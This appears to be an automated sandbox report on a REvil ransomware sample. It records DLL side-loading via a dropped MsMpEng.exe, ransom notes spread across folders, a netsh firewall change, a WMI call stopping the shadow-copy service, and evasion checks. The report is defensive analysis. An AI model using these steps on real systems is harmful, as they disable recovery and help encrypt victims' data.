        Source: revil.exeString found in binary or memory: lhash part of OpenSSL 1.0.2l 25 May 2017.\crypto\lhash\lhash.c.\crypto\asn1\a_object.cNULL<INVALID>setct-CredRevResDatasetct-PCertReqDatasetct-PCertResTBSsetct-BatchAdminReqDatasetct-BatchAdminResDatasetct-CardCInitResTBSsetct-MeAqCInitResTBSsetct-RegFormResTBSsetct-CertReqDatasetct-CertReqTBSsetct-CertResDatasetct-CertInqReqTBSsetct-ErrorTBSsetct-PIDualSignedTBEsetct-PIUnsignedTBEsetct-AuthReqTBEsetct-AuthResTBEsetct-AuthResTBEXsetct-AuthTokenTBEsetct-CapTokenTBEsetct-CapTokenTBEXsetct-AcqCardCodeMsgTBEsetct-AuthRevReqTBEsetct-AuthRevResTBEsetct-AuthRevResTBEBsetct-CapReqTBEsetct-CapReqTBEXsetct-CapResTBEsetct-CapRevReqTBEsetct-CapRevReqTBEXsetct-CapRevResTBEsetct-CredReqTBEsetct-CredReqTBEXsetct-CredResTBEsetct-CredRevReqTBEsetct-CredRevReqTBEXsetct-CredRevResTBEsetct-BatchAdminReqTBEsetct-BatchAdminResTBEsetct-RegFormReqTBEsetct-CertReqTBEsetct-CertReqTBEXsetct-CertResTBEsetct-CRLNotificationTBSsetct-CRLNotificationResTBSsetct-BCIDistributionTBSsetext-genCryptgeneric cryptogramsetext-miAuthmerchant initiated authsetext-pinSecuresetext-pinAnysetext-track2setext-cvadditional verificationset-policy-rootsetCext-hashedRootsetCext-certTypesetCext-merchDatasetCext-cCertRequiredsetCext-tunnelingsetCext-setExtsetCext-setQualfsetCext-PGWYcapabilitiessetCext-TokenIdentifiersetCext-Track2DatasetCext-TokenTypesetCext-IssuerCapabilitiessetAttr-CertsetAttr-PGWYcappayment gateway capabilitiessetAttr-TokenTypesetAttr-IssCapissuer capabilitiesset-rootKeyThumbset-addPolicysetAttr-Token-EMVsetAttr-Token-B0PrimesetAttr-IssCap-CVMsetAttr-IssCap-T2setAttr-IssCap-SigsetAttr-GenCryptgrmgenerate cryptogramsetAttr-T2Encencrypted track 2setAttr-T2cleartxtcleartext track 2setAttr-TokICCsigICC or token signaturesetAttr-SecDevSigsecure device signatureset-brand-IATA-ATAset-brand-Dinersset-brand-AmericanExpressset-brand-JCBset-brand-Visaset-brand-MasterCardset-brand-NovusDES-CDMFdes-cdmfrsaOAEPEncryptionSETITU-Titu-tJOINT-ISO-ITU-Tjoint-iso-itu-tinternational-organizationsInternational OrganizationsmsSmartcardLoginMicrosoft SmartcardloginmsUPNMicrosoft Universal Principal NameAES-128-CFB1aes-128-cfb1AES-192-CFB1aes-192-cfb1AES-256-CFB1aes-256-cfb1AES-128-CFB8aes-128-cfb8AES-192-CFB8aes-192-cfb8AES-256-CFB8aes-256-cfb8DES-CFB1des-cfb1DES-CFB8des-cfb8DES-EDE3-CFB1des-ede3-cfb1DES-EDE3-CFB8des-ede3-cfb8streetstreetAddresspostalCodeid-pplproxyCertInfoProxy Certificate Informationid-ppl-anyLanguageAny languageid-ppl-inheritAllInherit allnameConstraintsX509v3 Name Constraintsid-ppl-independentIndependentRSA-SHA256sha256WithRSAEncryptionRSA-SHA384sha384WithRSAEncryptionRSA-SHA512sha512WithRSAEncryptionRSA-SHA224sha224WithRSAEncryptionSHA256sha256SHA384sha384SHA512sha512SHA224sha224identified-organizationcerticom-arcwapwap-wsgid-characteristic-two-basisonBasistpBasisppBasisc2pnb163v1c2pnb163v2c2pnb163v3c2pnb176v1c2tnb191v1c2tnb191v2c2tnb191v3c2onb191v4c2onb191v5c2pnb208w1c2tnb239v1c2tnb239v2c2tnb239v3c2onb239v4c2onb239v5c2pnb272w1c2pnb304w1*
        Source: revil.exeString found in binary or memory: id-cmc-addExtensions
        Source: unknownProcess created: C:\Users\user\Desktop\revil.exe 'C:\Users\user\Desktop\revil.exe'
        Source: C:\Users\user\Desktop\revil.exeProcess created: C:\Windows\MsMpEng.exe C:\Windows\MsMpEng.exe
        Source: C:\Windows\MsMpEng.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
        Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\System32\wbem\unsecapp.exe C:\Windows\system32\wbem\unsecapp.exe -Embedding
        Source: C:\Users\user\Desktop\revil.exeProcess created: C:\Windows\MsMpEng.exe C:\Windows\MsMpEng.exeJump to behavior
        Source: C:\Windows\MsMpEng.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=YesJump to behavior
        Source: C:\Windows\MsMpEng.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}\InProcServer32Jump to behavior
        Source: C:\Windows\MsMpEng.exeDirectory created: c:\program files\tmpJump to behavior
        Source: C:\Windows\MsMpEng.exeDirectory created: c:\program files\z4ra2w5g-readme.txtJump to behavior
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
        Source: revil.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
        Source: revil.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
        Source: Binary string: MsMpEng.pdb source: revil.exe
        Source: revil.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
        Source: revil.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
        Source: revil.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
        Source: revil.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
        Source: revil.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C10E0 LoadLibraryA,GetProcAddress,1_2_6D4C10E0
        Source: mpsvc.dll.0.drStatic PE information: real checksum: 0xc5ba6 should be: 0xc5da6
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00161A06 push ecx; ret 0_2_00161A19
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D525CE5 push ecx; ret 1_2_6D525CF8
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029B349C push ebp; retf 1_2_029B349D
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029AF404 push 0000006Ah; retf 1_2_029AF4DC
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029AF46B push 0000006Ah; retf 1_2_029AF4DC
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029AF46D push 0000006Ah; retf 1_2_029AF4DC

        Persistence and Installation Behavior:

        barindex
        Drops executables to the windows directory (C:\Windows) and starts themShow sources
        Source: C:\Users\user\Desktop\revil.exeExecutable created and started: C:\Windows\MsMpEng.exeJump to behavior
        Source: C:\Users\user\Desktop\revil.exeFile created: C:\Windows\MsMpEng.exeJump to dropped file
        Source: C:\Users\user\Desktop\revil.exeFile created: C:\Windows\mpsvc.dllJump to dropped file
        Source: C:\Users\user\Desktop\revil.exeFile created: C:\Windows\MsMpEng.exeJump to dropped file
        Source: C:\Users\user\Desktop\revil.exeFile created: C:\Windows\mpsvc.dllJump to dropped file
        Source: C:\Windows\MsMpEng.exeFile created: C:\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\recovery\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\110\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\favorites\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\music\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\saved games\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\default\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\3d objects\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\contacts\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\favorites\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\music\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\onedrive\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\recent\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\saved games\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\searches\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\accountpictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\desktop\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\documents\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\downloads\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\libraries\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\music\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\akjimdeqmb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\atjbemhssb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bufzsqpcoh\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bwdrweeari\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bwetzdqdib\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\evcmenbqhp\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\gnlqnholwb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\hygztmobzn\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\izmfbfkmeb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\kbiftjwhnz\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\whzagpppla\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\zuyydjdfvf\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\atjbemhssb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\aztrjhkcvr\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bufzsqpcoh\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bwdrweeari\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bwetzdqdib\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\byimnpjcrl\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\evcmenbqhp\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\gnlqnholwb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\izmfbfkmeb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\kbiftjwhnz\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\whzagpppla\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\zuyydjdfvf\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\favorites\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\pictures\camera roll\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\datastorebackup\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\protected - it is a violation of windows policy to modify\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52034C RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,1_2_6D52034C
        Source: C:\Windows\MsMpEng.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
        Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

        Malware Analysis System Evasion:

        barindex
        Contains functionality to detect sleep reduction / modificationsShow sources
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A61C81_2_029A61C8
        Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)Show sources
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA &apos;Win32_Service&apos;
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Service.Name=&quot;VSS&quot;::StopService
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A611E rdtsc 1_2_029A611E
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A7FC1 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_029A7FC1
        Source: C:\Windows\MsMpEng.exeCode function: EnumServicesStatusExW,RtlGetLastWin32Error,EnumServicesStatusExW,1_2_029A423B
        Source: C:\Windows\MsMpEng.exeWindow / User API: threadDelayed 9954Jump to behavior
        Source: C:\Windows\MsMpEng.exe TID: 7012Thread sleep count: 9954 > 30Jump to behavior
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\MsMpEng.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_0016529F FindFirstFileExW,0_2_0016529F
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A8122 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_029A8122
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5AEB GetSystemInfo,1_2_029A5AEB
        Source: MsMpEng.exe, 00000001.00000002.918851077.0000000004AE0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
        Source: MsMpEng.exe, 00000001.00000002.918851077.0000000004AE0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
        Source: MsMpEng.exe, 00000001.00000002.918851077.0000000004AE0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
        Source: MsMpEng.exe, 00000001.00000002.918851077.0000000004AE0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
        Source: C:\Windows\MsMpEng.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A611E rdtsc 1_2_029A611E
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00164C12 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00164C12
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52CC7D EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,1_2_6D52CC7D
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A7FC1 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_029A7FC1
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C10E0 LoadLibraryA,GetProcAddress,1_2_6D4C10E0
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00163CFC mov eax, dword ptr fs:[00000030h]0_2_00163CFC
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00165FD1 mov eax, dword ptr fs:[00000030h]0_2_00165FD1
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5B02 mov ecx, dword ptr fs:[00000030h]1_2_029A5B02
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A580E mov eax, dword ptr fs:[00000030h]1_2_029A580E
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_001670EB GetProcessHeap,0_2_001670EB
        Source: C:\Windows\MsMpEng.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_001618F4 SetUnhandledExceptionFilter,0_2_001618F4
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00164C12 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00164C12
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00161761 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00161761
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00161BF8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00161BF8
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D525B19 SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_6D525B19
        Source: C:\Windows\MsMpEng.exeCode function: OpenProcess,QueryFullProcessImageNameW,PathFindFileNameW, svchost.exe1_2_029A532D
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A79F8 AllocateAndInitializeSid,SetEntriesInAclW,SetNamedSecurityInfoW,1_2_029A79F8
        Source: MsMpEng.exe, 00000001.00000002.917497908.0000000001510000.00000002.00000001.sdmp, unsecapp.exe, 0000000F.00000002.917381878.00000150501C0000.00000002.00000001.sdmpBinary or memory string: Program Manager
        Source: MsMpEng.exe, 00000001.00000002.917497908.0000000001510000.00000002.00000001.sdmp, unsecapp.exe, 0000000F.00000002.917381878.00000150501C0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
        Source: MsMpEng.exe, 00000001.00000002.917497908.0000000001510000.00000002.00000001.sdmp, unsecapp.exe, 0000000F.00000002.917381878.00000150501C0000.00000002.00000001.sdmpBinary or memory string: Progman
        Source: MsMpEng.exe, 00000001.00000002.917497908.0000000001510000.00000002.00000001.sdmp, unsecapp.exe, 0000000F.00000002.917381878.00000150501C0000.00000002.00000001.sdmpBinary or memory string: Progmanlock
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_00161A1B cpuid 0_2_00161A1B
        Source: C:\Windows\MsMpEng.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_0016164A GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_0016164A
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A58B4 GetUserNameW,1_2_029A58B4

        Lowering of HIPS / PFW / Operating System Security Settings:

        barindex
        Modifies the windows firewallShow sources
        Source: C:\Windows\MsMpEng.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
        Uses netsh to modify the Windows network and firewall settingsShow sources
        Source: C:\Windows\MsMpEng.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
        Source: MsMpEng.exeBinary or memory string: C:\Windows\MsMpEng.exe
        Source: revil.exe, 00000000.00000002.650225215.00000000012DA000.00000004.00000020.sdmpBinary or memory string: indows\MsMpEng.exe
        Source: revil.exe, MsMpEng.exeBinary or memory string: MsMpEng.exe

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Replication Through Removable Media1Windows Management Instrumentation11Application Shimming1Application Shimming1Disable or Modify Tools2Input Capture1System Time Discovery1Replication Through Removable Media1Archive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact1
        Default AccountsNative API1Windows Service1Windows Service1Deobfuscate/Decode Files or Information1LSASS MemoryPeripheral Device Discovery11Remote Desktop ProtocolInput Capture1Exfiltration Over BluetoothProxy1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationSystem Shutdown/Reboot1
        Domain AccountsCommand and Scripting Interpreter3Logon Script (Windows)Process Injection12Obfuscated Files or Information2Security Account ManagerAccount Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDefacement1
        Local AccountsService Execution1Logon Script (Mac)Logon Script (Mac)Software Packing1NTDSSystem Service Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
        Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptMasquerading123LSA SecretsFile and Directory Discovery2SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
        Replication Through Removable MediaLaunchdRc.commonRc.commonVirtualization/Sandbox Evasion1Cached Domain CredentialsSystem Information Discovery26VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
        External Remote ServicesScheduled TaskStartup ItemsStartup ItemsProcess Injection12DCSyncQuery Registry1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
        Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSecurity Software Discovery361Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
        Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadowVirtualization/Sandbox Evasion1Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
        Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork SniffingProcess Discovery3Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
        Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput CaptureApplication Window Discovery1Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop
        Compromise Software Supply ChainUnix ShellLaunchdLaunchdRename System UtilitiesKeyloggingSystem Owner/User Discovery1Component Object Model and Distributed COMScreen CaptureExfiltration over USBDNSInhibit System Recovery

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        revil.exe48%VirustotalBrowse
        revil.exe14%MetadefenderBrowse
        revil.exe15%ReversingLabsWin32.Trojan.Graftor

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Windows\MsMpEng.exe0%VirustotalBrowse
        C:\Windows\MsMpEng.exe0%MetadefenderBrowse
        C:\Windows\MsMpEng.exe0%ReversingLabs
        C:\Windows\mpsvc.dll17%MetadefenderBrowse
        C:\Windows\mpsvc.dll30%ReversingLabsWin32.Ransomware.Bulz

        Unpacked PE Files

        SourceDetectionScannerLabelLinkDownload
        0.0.revil.exe.160000.0.unpack100%AviraTR/Crypt.XPACK.Gen5Download File
